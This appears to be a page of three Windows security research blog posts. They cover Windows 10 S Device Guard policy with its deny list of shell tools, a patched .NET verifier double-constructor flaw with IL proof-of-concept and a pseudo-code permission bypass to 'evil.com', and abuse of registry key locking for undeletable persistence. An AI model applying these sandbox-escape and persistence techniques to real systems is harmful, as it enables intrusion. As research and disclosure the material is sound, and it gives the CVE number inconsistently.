Thursday, 20 July 2017

Device Guard on Windows 10 S

This blog is about Device Guard (DG) on Windows 10 S (Win10S). I’ll go through extracting the policy and finding out what you can and cannot run on a default Win10S system. Perhaps in a future blog post, I’ll describe some ways of getting arbitrary code execution without installing any additional software such as Office or upgrading to Windows 10 Pro.

Win10S is the first Windows operating system released to consumers which comes pre-locked down with DG. DG builds upon Kernel Mode Code Integrity (KMCI) introduced in Windows Vista and User Mode Code Integrity (UMCI) which was introduced in Windows 8 RT. It contains many features to restrict code execution by limiting what types of executable files/scripts, including DLLs can be loaded based on a set of policy rules. A good first step towards trying to find ways to run arbitrary code on a system with DG is to extract the DG policy and inspect it for weaknesses.

Before we start, I'd like to thank Matt Graeber for reviewing this post before it went out. His DG knowledge is far better than anyone I know.

Extracting the DG System Integrity Policy

The enforcement of DG is configured through a System Integrity (SI) policy. The SI policy is stored as a binary file on disk. When the operating system boots either WINLOAD or the kernel CI driver loads the policy into memory and begins enforcement based on the various rules configured.

The location of the file varies depending on how the policy was deployed. On the Surface Laptop I have, which comes with Win10S pre-installed the policy is located inside the C:\Windows\Boot\EFI folder with the name winsipolicy.p7b. There’s no restrictions on reading this file to extract its contents to determine what policy is enforced. Unfortunately, there’s no official documentation I know of which describes the binary policy file format. There is the ConfigCI Powershell module which will convert an XML file to a binary policy. Unfortunately, there’s no corresponding command to perform the reverse.

Fortunately, the ever amazing Matt Graeber put in the effort and wrote a Powershell script which can convert the binary format back to the XML format. Unfortunately, there was some issues with the original script, such as missing some new additions to the format that Microsoft have added as well as a couple of bugs. Therefore, I’ve tweaked the original to fully support the policy format used on Win10S as well as fixing some bugs. Matt updated his copy on github with my fixes, you can get it from here. Load the script into Powershell then run the following command:

ConvertTo-CIPolicy winsipolicy.p7b output.xml

The result of the conversion is an XML file we can read. As with the binary file, the XML file is poorly documented, the best resource is almost certainly Matt Graeber’s blog, specific this post. Let’s break it down into small sections.

System Integrity Policy Rules

The first important section are the Rules which define a set of boolean options to enable in the System Integrity policy.

<Rules>
 <Rule>
   <Option>Enabled:UMCI</Option>
 </Rule>
 <Rule>
   <Option>Enabled:Advanced Boot Options Menu</Option>
 </Rule>
 <Rule>
   <Option>Required:Enforce Store Applications</Option>
 </Rule>
 <Rule>
   <Option>Enabled:Conditional Windows Lockdown Policy</Option>
 </Rule>
</Rules>

The first option enables UMCI. By default, DG doesn’t enforce UMCI, although it does enforce KMCI. The second option enables the Advanced Boot Options Menu, this is interesting as by default the menu would be disabled and this policy allows the user of the system to have more control over the boot process. This configuration will become important in a later blog post. The third option Enforces Store Applications. This ensures you can’t disable UMCI for store applications. Without this setting, it’d be possible to configure a side-loading policy to allow you deploy your own UWP applications. As the purpose of Win10S is “security,” they only allow UWP applications which are store signed, I’ll explain what that means in the section on allowed signers. Finally, Conditional Windows Lockdown Policy seems to be related to the Windows 10 S SKU and the potential that the lockdown policy can ultimately be disabled. This is related to the license values and a system environment variable “Kernel_CI_SKU_UNLOCKED”. This probably needs further investigation.

File Rules

Next up are the set of file rules. These are usually used to blacklist specific executable files which are known DG bypasses and would allow you to trivially run arbitrary code. This is close to the same list provided by Microsoft in their DG deployment guide here. However, they also block things like registry editing tools and Windows Scripting Host.

<FileRules>
 <Deny FileName="bash.exe" MinimumFileVersion="65535.65535.65535.65535" />
 <Deny FileName="CDB.Exe" MinimumFileVersion="..." />
 <Deny FileName="cmd.Exe" MinimumFileVersion="..." />
 <Deny FileName="cscript.exe" MinimumFileVersion="..." />
 <Deny FileName="csi.Exe" MinimumFileVersion="..." />
 <Deny FileName="dnx.Exe" MinimumFileVersion="..." />
 <Deny FileName="fsi.exe" MinimumFileVersion="..." />
 <Deny FileName="kd.Exe" MinimumFileVersion="..." />
 <Deny FileName="MSBuild.Exe" MinimumFileVersion="..." />
 <Deny FileName="mshta.exe" MinimumFileVersion="..." />
 <Deny FileName="ntsd.Exe" MinimumFileVersion="..." />
 <Deny FileName="powershell.exe" MinimumFileVersion="..." />
 <Deny FileName="powershell_ise.exe" MinimumFileVersion="..." />
 <Deny FileName="rcsi.Exe" MinimumFileVersion="..." />
 <Deny FileName="reg.exe" MinimumFileVersion="..." />
 <Deny FileName="regedit.exe" MinimumFileVersion="..." />
 <Deny FileName="regedt32.exe" MinimumFileVersion="..." />
 <Deny FileName="wbemtest.exe" MinimumFileVersion="..." />
 <Deny FileName="windbg.Exe" MinimumFileVersion="..." />
 <Deny FileName="wmic.exe" MinimumFileVersion="..." />
 <Deny FileName="wscript.exe" MinimumFileVersion="..." />
</FileRules>

For each deny rule, the policy specifies a filename and a minimum file version. Note that the minimum version is really the maximum when it comes to a deny rule. In the sense that the rule only applies to files with a version number less than that specified. As every rule has the version set to 65535.65535.65535.65535 which is the absolute maximum it ensures that no version of these executables can ever execute. The filename and version are extracted from the executable’s version resources, this means you can’t just rename cmd.exe to badger.exe, the policy will see the Original Filename inside the version resource and block execution. If you try and modify the version resource then the file’s signature no longer matches and you won’t pass the signing policy.

It’s not really clear why Microsoft went all out and blocked things like CMD other than to annoy users. Sure, you could use it to run commands but you’re still somewhat limited by what executables you can run based on the signing policy. PowerShell and WScript I can perhaps more understand, but as we’ll see later, these file policy rules only serve as a speed bump to prevent us getting arbitrary code execution.

Allowed Signers

Now we get on to what signers the DG policy will allow (assuming of course they’re not blocked by the file rules). First, the DG policy defines the list of allowed signers, this list is then referred to later in the policy configuration. The list of allowed signers is as follows:
<Signer Name="MincryptKnownRootMicrosoftTestRoot2010" ID="ID_SIGNER_TEST2010">
 <CertRoot Type="Wellknown" Value="0A" />
</Signer>
<Signer Name="MincryptKnownRootMicrosoftDMDRoot2005" ID="ID_SIGNER_DRM">
 <CertRoot Type="Wellknown" Value="0C" />
</Signer>
<Signer Name="MincryptKnownRootMicrosoftProductRoot2010" ID="ID_SIGNER_DCODEGEN">
 <CertRoot Type="Wellknown" Value="06" />
 <CertEKU ID="ID_EKU_DCODEGEN" />
</Signer>
<Signer Name="MincryptKnownRootMicrosoftStandardRoot2011" ID="ID_SIGNER_AM">
 <CertRoot Type="Wellknown" Value="07" />
 <CertEKU ID="ID_EKU_AM" />
</Signer>
<Signer Name="Microsoft Product Root 2010 Windows EKU" ID="ID_SIGNER_WINDOWS_PRODUCTION_USER">
 <CertRoot Type="Wellknown" Value="06" />
 <CertEKU ID="ID_EKU_WINDOWS" />
</Signer>
<Signer Name="Microsoft Product Root 2011 Windows EKU" ID="ID_SIGNER_WINDOWS_PRODUCTION_USER_2011">
 <CertRoot Type="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />
 <CertEKU ID="ID_EKU_WINDOWS" />
</Signer>
<Signer Name="Microsoft Product Root 2010 ELAM EKU" ID="ID_SIGNER_ELAM_PRODUCTION_USER">
 <CertRoot Type="Wellknown" Value="06" />
 <CertEKU ID="ID_EKU_ELAM" />
</Signer>
<Signer Name="Microsoft Product Root 2010 HAL EKU" ID="ID_SIGNER_HAL_PRODUCTION_USER">
 <CertRoot Type="Wellknown" Value="06" />
 <CertEKU ID="ID_EKU_HAL_EXT" />
</Signer>
<Signer Name="Microsoft Product Root 2010 WHQL EKU" ID="ID_SIGNER_WHQL_SHA2_USER">
 <CertRoot Type="Wellknown" Value="06" />
 <CertEKU ID="ID_EKU_WHQL" />
</Signer>
<Signer Name="Microsoft Product Root WHQL EKU SHA1" ID="ID_SIGNER_WHQL_SHA1">
 <CertRoot Type="Wellknown" Value="05" />
 <CertEKU ID="ID_EKU_WHQL" />
</Signer>
<Signer Name="Microsoft Product Root WHQL EKU MD5" ID="ID_SIGNER_WHQL_MD5">
 <CertRoot Type="Wellknown" Value="04" />
 <CertEKU ID="ID_EKU_WHQL" />
</Signer>
<Signer Name="Microsoft Flighting Root 2014 Windows EKU" ID="ID_SIGNER_WINDOWS_FLIGHT_ROOT">
 <CertRoot Type="Wellknown" Value="0E" />
 <CertEKU ID="ID_EKU_WINDOWS" />
</Signer>
<Signer Name="Microsoft Flighting Root 2014 ELAM EKU" ID="ID_SIGNER_ELAM_FLIGHT">
 <CertRoot Type="Wellknown" Value="0E" />
 <CertEKU ID="ID_EKU_ELAM" />
</Signer>
<Signer Name="Microsoft Flighting Root 2014 HAL EKU" ID="ID_SIGNER_HAL_FLIGHT">
 <CertRoot Type="Wellknown" Value="0E" />
 <CertEKU ID="ID_EKU_HAL_EXT" />
</Signer>
<Signer Name="Microsoft Flighting Root 2014 WHQL EKU" ID="ID_SIGNER_WHQL_FLIGHT_SHA2">
 <CertRoot Type="Wellknown" Value="0E" />
 <CertEKU ID="ID_EKU_WHQL" />
</Signer>
<Signer Name="Microsoft MarketPlace PCA 2011" ID="ID_SIGNER_STORE">
 <CertRoot Type="TBS" Value="FC9EDE3DCCA09186B2D3BF9B738A2050CB1A554DA2DCADB55F3F72EE17721378" />
 <CertEKU ID="ID_EKU_STORE" />
</Signer>
<Signer Name="Microsoft Product Root 2010 RT EKU" ID="ID_SIGNER_RT_PRODUCTION">
 <CertRoot Type="Wellknown" Value="06" />
 <CertEKU ID="ID_EKU_RT_EXT" />
</Signer>
<Signer Name="Microsoft Flighting Root 2014 RT EKU" ID="ID_SIGNER_RT_FLIGHT">
 <CertRoot Type="Wellknown" Value="0E" />
 <CertEKU ID="ID_EKU_RT_EXT" />
</Signer>
<Signer Name="Microsoft Standard Root 2001 RT EUK" ID="ID_SIGNER_RT_STANDARD">
 <CertRoot Type="Wellknown" Value="07" />
 <CertEKU ID="ID_EKU_RT_EXT" />
</Signer>

The majority of the signing certificates use a special “Wellknown” format with just a single numeric value which identifies the certificate. Finding out what certificates these correspond to can be tricky, again poor documentation. Fortunately, the Powershell ConfigCI module on Win10S has example policy files such as Default_WindowsEnforced.xml which at least gives them names if not spelling out the explicit certificate used (they could be multiple Microsoft Product Root 2010 certificates after all). It’s likely for example that “Microsoft Product Root 2010” is the following root which is the root certificate of pretty much all the signed files on Win10S:

However, it’s not enough to be signed by whitelisted signer that’d be too easy. You must also have in the certificate chain a specific Enhanced Key Usage (EKU). So for example signer ID_SIGNER_WINDOWS_PRODUCTION_USER must have the EKU ID_EKU_WINDOWS which has the OID value 1.3.6.1.4.1.311.10.3.6. The Windows binaries have this EKU set, but something which is also Microsoft signed such as WinDBG is signed by the same root but doesn’t have this EKU set meaning it doesn’t load. From this information we can understand what it means to be store signed. It’s a combination of a specific certificate chain and a specific Store EKU. This is reflected in the ID_SIGNER_STORE signing rule.


For kernel code, the following signers are allowed:

<AllowedSigner SignerId="ID_SIGNER_WINDOWS_PRODUCTION_USER" />
<AllowedSigner SignerId="ID_SIGNER_ELAM_PRODUCTION_USER" />
<AllowedSigner SignerId="ID_SIGNER_HAL_PRODUCTION_USER" />
<AllowedSigner SignerId="ID_SIGNER_WHQL_SHA2_USER" />
<AllowedSigner SignerId="ID_SIGNER_WHQL_SHA1" />
<AllowedSigner SignerId="ID_SIGNER_WHQL_MD5" />
<AllowedSigner SignerId="ID_SIGNER_WINDOWS_FLIGHT_ROOT" />
<AllowedSigner SignerId="ID_SIGNER_ELAM_FLIGHT" />
<AllowedSigner SignerId="ID_SIGNER_HAL_FLIGHT" />
<AllowedSigner SignerId="ID_SIGNER_WHQL_FLIGHT_SHA2" />
<AllowedSigner SignerId="ID_SIGNER_TEST2010" />

For user mode, the following are allowed:

<AllowedSigner SignerId="ID_SIGNER_WINDOWS_PRODUCTION_USER" />
<AllowedSigner SignerId="ID_SIGNER_ELAM_PRODUCTION_USER" />
<AllowedSigner SignerId="ID_SIGNER_HAL_PRODUCTION_USER" />
<AllowedSigner SignerId="ID_SIGNER_WHQL_SHA2_USER" />
<AllowedSigner SignerId="ID_SIGNER_WHQL_SHA1" />
<AllowedSigner SignerId="ID_SIGNER_WHQL_MD5" />
<AllowedSigner SignerId="ID_SIGNER_WINDOWS_FLIGHT_ROOT" />
<AllowedSigner SignerId="ID_SIGNER_ELAM_FLIGHT" />
<AllowedSigner SignerId="ID_SIGNER_HAL_FLIGHT" />
<AllowedSigner SignerId="ID_SIGNER_WHQL_FLIGHT_SHA2" />
<AllowedSigner SignerId="ID_SIGNER_STORE" />
<AllowedSigner SignerId="ID_SIGNER_RT_PRODUCTION" />
<AllowedSigner SignerId="ID_SIGNER_DRM" />
<AllowedSigner SignerId="ID_SIGNER_DCODEGEN" />
<AllowedSigner SignerId="ID_SIGNER_AM" />
<AllowedSigner SignerId="ID_SIGNER_RT_FLIGHT" />
<AllowedSigner SignerId="ID_SIGNER_RT_STANDARD" />
<AllowedSigner SignerId="ID_SIGNER_TEST2010" />

The only thing which stands out here is the user mode signing for ID_SIGNER_DRM which is because it’s a pre-trusted root key for DRM. And as I’ve blogged about before, it’s almost certainly possible to get a private key for a certificate which chains to this root from many graphics drivers (see my blog post here). I’ve not tested it but while you could chain to this root by grabbing the private key from the kernel driver (assuming it’s in software), the chain you could build probably isn’t suitable for code signing anyway. But again it’s something worth looking at.

The final use for signers is specifying who’s allowed to sign and update the policy. In order for a policy to be used unsigned there must be the “Enabled:Unsigned System Integrity Policy” set, however as we saw earlier in this blog that wasn’t the case. You can see which signer is allowed to sign the policy in the following snippet.

<UpdatePolicySigners>
<UpdatePolicySigner SignerId="ID_SIGNER_WINDOWS_PRODUCTION_USER_2011" />
</UpdatePolicySigners>

This policy is using ID_SIGNER_WINDOWS_PRODUCTION_USER_2011 which if you look back at the signers is a To-Be-Signed certificate rather than a well known one. So we’d need to find the actual certificate which matches this hash value. However we can guess, it’s almost certainly just one of the roots for signing the existing winsipolicy.p7b file. We can use the Get-CIBinaryPolicyCertificate cmdlet from Matt’s script to dump the certificates and then use the ConfigCI Powershell module to generate the TBS value. Which we can see matches up with the TBS value from before:


Conclusions
Overall, from a basic DG policy perspective, Win10S seems reasonable. Effectively, only Microsoft signed code can run and then only ones with either WHQL or Windows EKUs in the certificates which would make it tricky to the find anything useful outside of what’s installed with the operating system to exploit. Of course with Desktop Bridge applications, which are effectively store signed Win32 applications and the general quality of Windows driver developers no doubt there’s some additional code which can be exploited by installing it onto the system. You just have to look at Office, which is allowed to be installed from the Store which has its VBA macro functionality intact.

What is missing though is any use of Hyper-V based enforcement, either to restrict removing the policy or ensure kernel mode integrity through HyperGuard or HVCI code integrity enforcement. This is a severe weakness, it’s not like Win10S doesn’t support Hyper-V, you can even install the full Hyper-V and configuration tools. This allows you to run a normal version on Windows in a VM on top of the locked down platform which is actually kind of nice. But it means that the System Integrity policy is not very well protected. This is something which we’ll come back to at a later date in a future blog post.

Monday, 17 July 2017

Old .NET Vulnerability #4: Double Construction Verification Issue (CVE-2013-0004)

This blog post is a continuation in my series of old .NET vulnerabilities. It's been a while since I didn't #2 and #3. It concerns a bug in the IL verifier which allows an object's constructor to be called twice leading the TOCTOU attacks and other weird behaviours from Partial Trust (PT) sandboxed code. It was fixed in MS13-004 as CVE-2014-0004.

IL Verification and Partial Trust

If you've ever dealt with partial trust .NET applications you might know about the IL verifier. Even though .NET is effectively type safe it's possible to write bad IL code (for example code which calls a method on the wrong type of object). The framework has a verifier which will scan the IL of the method it's going to JIT and ensure that it meets a number of requirements so that type safety can be enforced. This has a performance impact so MS decided only to apply it when emitting code for a PT assembly. If you're running in full trust then you can just invoke unsafe code or call through P/INVOKE so doing additional verification doesn't seem worth the effort.

From a EoP perspective testing the boundaries of the IL verifier is important, if you can sneak something past the verifier you might be able to create unsafe code which can be exploited to break out the PT sandbox. For whatever reason one day I decided to look at the handling of object constructors. Even though constructors are pretty much like methods (except they're marked with the special name .ctor), they have special rules as stated in ECMA-335 :
  • CLS Rule 21: An object constructor shall call some instance constructor of its base class before any access occurs to inherited instance data. (This does not apply to value types, which need not have constructors.)
  • CLS Rule 22: An object constructor shall not be called except as part of the creation of an object, and an object shall not be initialized twice.
Of course these are Common Language Specification rules which just ensures interoperability, it doesn't necessarily translate into a list of rules for the verifier. But you'd kind of assume it would match up. However looking further in §1.8.1.4 we find the following when referring to the verification of "Class and object initialization rules":

"An object constructor shall not return unless a constructor for the base class or a different construct for the object’s class has been called on the newly constructed object. The verification algorithm shall treat the this pointer as uninitialized unless the base class constructor has been called. No operations can be performed on an uninitialized this except for storing into and loading from the object’s fields."

This snippet doesn't mention anything about double initialization. Perhaps there's a bug here, let's test this out.

Testing the Double Construction Verification Error

C# doesn't allow us to easily create malformed IL code. We could use the System.Reflection.Emit classes to generate the malformed IL code on the fly, but I find it quicker to use the IL assembler which ships with the .NET framework.

Let's first create two classes in C# and compile it to an assembly using Visual Studio or the command line CSC compiler:

using System; class A { private int _x; protected A(int x) { _x = x; } public override string ToString() { return String.Format("x={0}", _x); } } class B : A { public B() : base(1234) { Console.WriteLine(this); } } class MainClass { static void Main() { new B(); } }

We have two classes A and B. B is derived from A and calls the base constructor passing the value 1234. We then write the this object to the console, which calls ToString. Running this on its own results in writing x=1234 to the console. So far no surprises. Now let's disassemble the assembly code, I'd recommend the ILDasm tool which comes with the .NET SDK for this as it generates IL code which is easily assembled again. Run the command "ildasm /OUT=output.il program.exe" replacing "program.exe" with the name of the compiled C# program. We can now pick out the IL code for the B class as shown:

.class private auto ansi beforefieldinit B
       extends A
{
  .method public hidebysig specialname rtspecialname 
          instance void  .ctor() cil managed
  {
    // Code size       18 (0x12)
    .maxstack  8
    IL_0000:  ldarg.0
    IL_0001:  ldc.i4     0x4d2
    IL_0006:  call       instance void A::.ctor(int32)
    IL_000b:  ldarg.0
    IL_000c:  call       void [mscorlib]System.Console::WriteLine(object)
    IL_0011:  ret
  } // end of method B::.ctor

} // end of class B


The call to the base constructor is the first three instructions. First the this pointer is pushed onto the evaluation stack with the ldarg.0 instruction. The ldarg instruction pushes the numbered argument to the current function onto the stack, and like in C++ the this argument is a hidden first argument to the function. We then push the constant 0x4D2, or 1234 on to the evaluation stack and then call the instance method constructor for A which takes a single 32 bit integer. Let's see what happens if we just don't call the base constructor. For that remove the first 3 instructions of the constructor, either delete or just comment them out. Now run the IL assembler to recreate the program using the command "ilasm.exe /OUTPUT=program_no_base_call.exe output.il". Run the created executable  and be prepared to be shocked when nothing really happens, other than instead of printing "x=1234" we get "x=0". Ultimately the run time is still mostly type safe, sure you've not called the base constructor but the normal object creation routines did ensure that the _x field was initialized to 0.

As nothing happened, perhaps this will work in PT. First things first let's run the verifier on the assembly to see what the CLR thinks about the missing call to the base constructor. The SDK comes with a tool PEVerify which will verify the assembly passed to it and report and verification failures.

C:\> peverify program_no_base.exe

Microsoft (R) .NET Framework PE Verifier.  Version  4.0.30319.0
Copyright (c) Microsoft Corporation.  All rights reserved.

[IL]: Error: [program_no_base.exe : B::.ctor][offset 0x00000001][found ref ('this' ptr) 'B'][expected ref 'System.Object'] Unexpected type on the stack.
[IL]: Error: [program_no_base.exe : B::.ctor][offset 0x00000006] Return from .ctor when this is uninitialized.
2 Error(s) Verifying program_no_base.exe

The verifier actually reports two errors, the first error is reported after pushing the this pointer on the stack to pass to System.Console.WriteLine. This error represents the check to ensure that the this pointer isn't used unitialized. The verifier maintains a state for the this pointer, initially it's but after the this pointer is passed to a constructor the type changes to the appropriate type for the class. The second error checks any constructor is called prior to returning from the constructor. But does it fail if we run it in PT? To test that we can run this code in an XBAP or a restricted ClickOnce application. I just have a simple test harness which runs the code inside a limited sandbox. If you execute the code as PT you immediately see the following exception:

Unhandled Exception: System.Security.VerificationException: Operation could destabilize the runtime.
   at B..ctor()
   at MainClass.Main()

VerificationException is where dreams of sandbox escapes go to die. At least the verifier is consistent, and there's a good reason for that. The verifier used in PEVerify is not an isolated copy of the verification rules used in the framework. The tool accesses a COM interface from the runtime (ICLRValidator if you're interested), so what PEVerify outputs as errors should match what the runtime actually uses. What about double initialization? Replace the construction function in B with the following and reassemble again:

  .method public hidebysig specialname rtspecialname 
          instance void  .ctor() cil managed
  {
    .maxstack  8
    ldarg.0
    ldc.i4     0x4d2
    call       instance void A::.ctor(int32)
    ldarg.0
    call       void [mscorlib]System.Console::WriteLine(object)
    ldarg.0
    ldc.i4     42
    call       instance void A::.ctor(int32)
    ldarg.0
    call       void [mscorlib]System.Console::WriteLine(object)
    ret
  } // end of method B::.ctor

This replacement constructor just repeats the call to the constructor and the call to WriteLine but replaces the number with 42 when initializing the internal field the second time. Running this with full trust will print "x=1234" following by "x=42" as you might expect. However, running this in PT mode, gives the same result as long you're running an old version of .NET 2 or 4 prior to the MS13-004 patch. Running PEVerify shows what we suspect, the double construction isn't detected:

Microsoft (R) .NET Framework PE Verifier.  Version  4.0.30319.0
Copyright (c) Microsoft Corporation.  All rights reserved.

All Classes and Methods in program_double_con.exe Verified.

The patch for MS13-004 just added a verification rule to detect this condition. If you now run PEVerify on the binary with an up to date version of .NET you'll see the following verification error.

[IL]: Error: [program_double_con.exe : B::.ctor][offset 0x00000017] Init state for this differs depending on path.
1 Error(s) Verifying program_double_con.exe

As I mentioned, as PEVerify uses the runtime's verifier we didn't need to update the tool, just the runtime to detect the new error. To wrap-up let's see an example of a use case for this issue to elevate privileges.

Example Use Case

One of the simplest ways of abusing this feature is performing a TOCTOU attack on system class library code which assumes an object's immutable as you can't construct it twice. A good example of a class which implements this pattern is the System.Uri class. The Uri class has no methods to change the contents outside of the constructor, so it's effectively immutable. However, with the ability to call a constructor twice we can change the target the class represents, without changing the object reference. This means if we can get some system code to first check the Uri object is safe, and then stores the verified Uri object reference to use later we can change the target and circumvent a security check.

A perfect example of this is the System.Net.WebRequest class. The class has a Create method which takes a Uri object. If we pass a HTTP URI we end up in the HttpWebRequest internal class constructor which has the following code (heavily edited to remove unnecessary initialization):

internal HttpWebRequest(Uri uri) { new WebPermission(NetworkAccess.Connect, uri).Demand(); this._Uri = uri; // Just initialize the rest. }

The code first demands that the caller has NetworkAccess.Connect permission to the target URI. If that succeeds then it stores the Uri object for later use. The created HttpWebRequest object never checks the Uri again and it's used directly when we eventually call the GetResponse method. 

For this to work you at least need a WebPermission grant in the PT sandbox you're trying to exploit. Fortunately if you deployed this through an XBAP you'd be granted permission to communicate back to the source web site, and in this time you could even load the XBAP without a prompt (what a world). So assuming you deploy the application from http://www.safe.com and you want to communicate with http://www.evil.com then the following pseudo C# will do that for you:

class MyUri : Uri { public MyUri() { base("http://www.safe.com"); // Create web request while we're safe. WebRequest request = WebRequest.Create(this); base("http://www.evil.com"); // Use request to talk to http://evil.com } }

We construct a derived Uri class (even though Uri is immutable it can still be derived from). Then in the constructor we call the base constructor with the safe URI we've got permission to communicate to. At this point the this pointer is valid according to the verifier. We can now pass the this pointer to the WebRequest creation call, it'll do the check but it's allowed. Finally we recall the constructor to change the underlying URI to the different location. If we get the response from the WebRequest we'll communicate with http://www.evil.com instead.

You still need to convert this into an actually implementation, you can't compiled it from that pseudo C#. But I'll leave that as an exercise for the reader.

Friday, 14 July 2017

Locking Your Registry Keys for Fun and, Well, Just Fun I Guess

Let's assume you have some super important registry keys that you don't want anyone to modify or delete, how might you do it? One way is to change the security descriptor of the registry key to prevent others modifying it. However when combined with a kernel driver (such as AV) or an admin with sufficient privilege this can be trivially bypassed. Another common trick is to embed NUL characters into the key or value names you want to protect. That trick tends to break Win32 API users such as typical registry editors as the Win32 APIs use NUL terminated strings where as the kernel APIs do not. However that won't stop someone more persistent. The final trick I can think of would be to write a kernel driver which uses the "Registry Filter Callback" APIs to block access to the keys, however Microsoft are making it as hard as possible to run arbitrary kernel code (well legit kernel code anyway) so writing a driver sounds like an unnecessary extravagance.

So what can we do? Turns out there is an API in the kernel called NtLockRegistryKey. Though unsurprisingly it isn't documented. It's pretty obvious what the parameters are though based on 2 seconds of RE, it looks like the following:

NTSTATUS NtLockRegistryKey(HANDLE KeyHandle);

All the system call takes is a registry key handle, adding it to my NtObjectManager Powershell module we can call it and see what we happens:


Apparently we don't have a privilege enabled to lock the key. Turns out no matter what privilege you enable it still doesn't work, something odd is going on. Let's look back at the kernel to see if we can find the privilege we require:

NTSTATUS NtLockRegistryKey(HANDLE Handle) { if (KeGetCurrentThread()->PreviousMode != KernelMode) return STATUS_PRIVILEGE_NOT_HELD; .... }

Apparently from this code the privilege we need is to be running in the kernel! If we need that then we might as well just write that registry filter driver. Still all is not necessarily lost, perhaps there's some code in the kernel which calls this function to lock existing registry keys we can abuse? You might also assume this could also be called by a kernel driver, but neither the Zw or Nt versions of the system call are exported by NTOSKRNL, making it very unlikely any legitimate driver will call it. A quick XREF check in IDA shows exactly one caller, NtLockProductActivationKeys. Why am I not surprised it's used for DRM purposes?

Anyway, let's do a quick bit of RE on the kernel function to work out what it's doing with registry keys.

NTSTATUS NtLockProductActivationKeys() { HANDLE RootKeyHandle; UNICODE_STRING RootKey; OBJECT_ATTRIBUTES ObjectAttributes; // Initial path is obfuscated in the kernel. RtlInitUnicodeString(&RootKey, L"\\Registry\\Machine\\System\\WPA"); InitializeObjectAttributes(&ObjectAttributes, &RootKey, ...); NTSTATUS status ZwOpenKey(&RootKeyHandle, KEY_READ, &ObjectAttributes); if (NT_SUCCESS(status)) { ULONG KeyIndex = 0; PKEY_BASIC_INFORMATION KeyInfo = // Allocate a buffer... while(ZwEnumerateKey(KeyHandle, KeyIndex, KeyBasicInformation, KeyInfo) != STATUS_NO_MORE_ENTRIES) { HANDLE SubKeyHandle = OpenKey(RootKeyHandle, KeyInfo->Name); if (!IsRegistryKeyLocked(SubKeyHandle)) { ZwLockRegistryKey(SubKeyHandle); } ZwClose(Handle); ++KeyIndex; } } ZwClose(KeyHandle); return last_status; }

All this code does is open a root key, the "HKLM\System\WPA" key, although if you look at the actual code the key name is "obfuscated" in the binary. Thanks DRM you so crazy. It then enumerates and opens any sub-keys and calls ZwLockRegistryKey on each key handle. There seems to be no other checks being done for privileges so this should be callable from user mode, and because the Zw version of the lock key system call is used that will set the previous mode to Kernel satisfying the security check requirements.

At this point we don't even know if locking a registry key does anything useful. However we now know that sub-keys under the WPA registry key are locked, let's try and write a value to one of the sub-keys of the WPA key as an administrator.


So that's pretty much what we expected, even though we've got SetValue access to the key trying to set a value fails with STATUS_ACCESS_DENIED. If you look back at how NtLockProductActivationKeys works you might notice that the kernel doesn't lock the WPA key, but only enumerated sub-keys. Therefore there's nothing stopping us creating a new sub-key under WPA, re-running NtLockProductActivationKeys and getting a locked key.


So the fun thing about this locking function is it seems to not just block user mode but also kernel mode callers from modifying the key. There doesn't seem to be a public way of unlocking the key again (DRM remember). There's no ZwUnlockRegistryKey function and the only way of doing anything would be to grovel in the innards of the Key Control Block to unlock it which Microsoft have been trying desperately to discourage. The lock prevents any modification and also deleting the key itself (however the function doesn't automatically lock sub-keys). The only way to clear the locked state is unload the hive (tricky if a system hive) or reboot. However the kernel calls NtLockProductActivationKeys very early in the boot process *sigh* DRM *sigh* so it's pretty tricky to find a time when you can just delete the key.

While writing to the WPA location might be okay just to store some configuration, probably what you want is persistence in another location. Fortunately if you check out the implementation you'll find that it doesn't take into account registry key symbolic links. So to protect other parts of the registry just create a sub-key which actually is a symbolic link which points to a key you want to protect. The re-run NtLockProductActivationKeys and it will now be locked. If you stick to the SYSTEM  hive (such as a service registration) this should even get protected at boot time. Of course the weakness of this is the symbolic link key in WPA doesn't actually get protected itself, so you can delete the symbolic link and on next boot the protection will go away. Of course this doesn't work in most registry tools which blindly follow symbolic links ;-)

Anyway, this is a fun, if somewhat silly feature. I can understand why it's not exposed to user-mode callers but I've literally no idea why it's a system call at all. The strange things DRM does to peoples' minds.